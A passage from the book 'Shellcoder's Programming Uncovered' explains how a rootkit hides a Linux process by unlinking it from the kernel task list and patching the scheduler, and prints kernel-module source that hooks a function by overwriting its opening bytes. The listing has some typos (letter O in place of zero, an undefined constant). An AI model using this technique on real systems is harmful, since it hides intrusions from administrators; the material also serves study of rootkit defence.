Excluding Processes from the Task List

The list of all processes is stored inside the kernel in the form of a bidirectional list called task_struct , the definition of which can be found in the linux/sched.h file. The next_task field points to the next process in the list, and prev_task points to the previous one. Physically, task_struct is stored inside process control blocks (PCBs), the address of which is known to every process. Context switching is carried out by the scheduler, which determines the process to be executed next (Fig. 13.3). If the hacker excludes his or her process from the list, it will automatically disappear from the /proc list. However, it will never gain control, which, certainly , is not the goal of the hacker.

image from book
Figure 13.3: Process organization in Linux

When viewing the list of processes, it can be easily noticed that there is no process with a Process IDentifier (PID) equal to 0. However, there is such a process (or, to be more precise, a pseudoprocess). It is created by the operating system for computing the CPU load and for other auxiliary goals.

Assume that it is necessary to conceal the process with the 1901 PID. Exclude it from the double-linked list by concatenating the next_task/prev_task fields of the two neighboring processes. Hook the process to the process with the 0 PID, thus declaring it as the parent process (the p_pptr field is responsible for this), and then modify the scheduler code so that the parent process with the 0 PID gains control at least episodically (Fig. 13.4). If it is necessary to disguise several processes, they can be joined into a chain using the p_pptr or any other unused field.

image from book
Figure 13.4: Removing the process from a double-linked list of processes

The source code of the scheduler is contained in the /usr/src/linux/kernel/sched.c file. The required fragment can be easily found by the goodness keyword (this is the name of the function that determines the importance of the process from the scheduler's point of view. It looks different in different kernels . For example, my version is implemented as shown in Listing 13.5.

Listing 13.5: The scheduler's "heart"
image from book
 c  =  -1000;                         // Initial value of the "weight" // Search for the process with the greatest weight // in the queue of executing processes while (p != &init_task) {         // Determine the weight of the process from the         // scheduler's point of view (in other words,         // its requirements in terms of processor ticks).  weight = goodness(prev, p);  // Choose the process that needs the         // processor time most urgently.         // For processes with the same weight,         // use the prev field.         if (weight > c)         {                 c = weight; next = p;         }         p = p->next_run; } if (!c) {         // All processes have worked out their time quantum.         // Now it is time to start the new period.         // This is a good time to pass control to the         // disguised process.         ... } 
image from book
 

The procedure of insertion into the scheduler is carried out as usual:

  1. Save instructions to be overwritten into the stack.

  2. Insert the command that jumps to the function distributing a processor quantum of the 0 PID among concealed processes.

  3. Carry out instructions saved earlier in the stack.

  4. Return control to the host function.

The simplest software implementation is shown in Listing 13.6.

Listing 13.6: The procedure that needs to be inserted into the scheduler's body
image from book
 /*         DoubleChain, a simple function hooker         by Dark-Angel <DarkO@angelfire.com> */ #define __KERNEL__ #define MODULE #define LINUX #include <linux/module. h> #define CODEJUMP 7 #define BACKUP 7 /* The number of the bytes to back up is variable (at least seven); the important thing is to never break an instruction. */ static char backup_one[BACKUP+CODEJUMP] = "\x90\x90\x90\x90\x90\x90\x90"                                           "\xb8\x90\x90\x90\x90\xff\xe0";         static char jump_code[CODEJUMP] = "\xb8\x90\x90\x90\x90\xff\xeO"; #define FIRST_ADDRESS Oxc0101235 //Address of the function to overwrite. unsigned long *memory; void cenobite(void) {         printk("Function hooked successfully\n");         asm volatile("MOV %EBP, %ESP; POPL %ESP; JMP backup_one); /*   This asm code is for restoring the stack. The first bytes of a function   (cenobite now) are always for pushing the parameters. Jumping from the   function can't restore the stack, so you must do it manually.   With the jump, you go to execute the saved code, and then you jump in   the original function. */ } int init_module(void) { *(unsigned long *)&jump_code[1] = (unsigned long )cenobite; *(unsigned long *)&backup_one[BACKUP+1] = (unsigned long)(FIRST_ADDRESS +                                                    BACKUP); memory  =  (unsigned long *)FIRST_ADDRESS; memcpy(backup_one, memory, CODEBACK); memcpy(memory, jump_code, CODEJUMP); return 0;         } void cleanup_module(void) {         memcpy(memory, backup_one, BACKUP); } 
image from book
 

Because machine representation of the scheduler depends not only on the kernel version but also on the compile options, it is unrealistic to attack an arbitrary system. Before doing so, the hacker must copy the kernel to the local machine and disassemble it, after which it becomes possible to develop an appropriate strategy of insertion.

If the target machine uses the standard kernel, the hacker might try to recognize its version by the signature using the insertion strategy developed beforehand. Not all administrators recompile their kernels; therefore, this tactics works successfully. It was first presented at the European Black Hat Conference in 2004. Its electronic presentation can be found at http://www.blackhat.com/presentations/bh-europe-04/bh-eu-04- butler .pdf . Most rootkits, in particular, Phantasmagoria, operate according to this principle.



Shellcoder's Programming Uncovered
Shellcoders Programming Uncovered (Uncovered series)
ISBN: 193176946X
EAN: 2147483647
Year: 2003
Pages: 164

flylib.com © 2008-2017.
If you may any questions please contact us: flylib@qtcs.net